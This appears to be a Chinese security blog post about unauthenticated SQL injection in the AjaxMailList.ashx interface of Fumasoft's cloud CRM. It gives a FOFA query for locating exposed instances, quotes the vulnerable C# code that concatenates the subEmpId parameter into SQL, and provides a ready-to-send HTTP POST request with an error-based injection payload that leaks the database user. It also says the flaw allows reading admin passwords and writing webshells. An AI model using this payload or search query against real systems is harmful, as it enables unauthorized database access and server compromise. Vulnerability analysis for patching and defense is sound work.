孚盟云CRM AjaxMailList.ashx 多个SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxMailList.ashx接口存在多个SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 AjaxMailList.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxMailList 方法的实现如下

当参数subEmpId存在且不为空或null时,会被先带入GetMailTree方法

public DataTable GetMailTree(string EmpID)
{
  return this.dbHelper.Query($"SELECT A.*,B.BgColor,B.BoxType,B.Description,B.KeyInID,B.KeyInName,B.KeyInDate,B.LastEditMan,B.LastEditDate,B.AuditState,B.IsDeleted,B.IsSearchFolder,B.SearchType,B.SearchConditionStr,B.SearchConditionSQL,B.IncludeSubMailBoxs,B.SearchMailBoxs,B.SearchVersion FROM vwMailBoxRelation A LEFT JOIN tmMailBox B ON A.FID=B.FID WHERE ( A.OwnerID='{EmpID}' OR A.OwnerID='SERVER' )").Tables[0];
}

参数subEmpId被直接拼接进SQL语句中执行,期间无过滤或校验,从而造成SQL注入漏洞。其处理逻辑如下

漏洞复现

POST /m/Dingding/Ajax/AjaxMailList.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1"}
Content-Type: application/x-www-form-urlencoded

method=&subEmpId=1')and 1<user--

成功通过报错注入在响应回显数数据库用户信息


手机扫码阅读

金和OA LstGroupXml.aspx XXE漏洞

金和OA RegCodeInfo.aspx XXE漏洞

评 论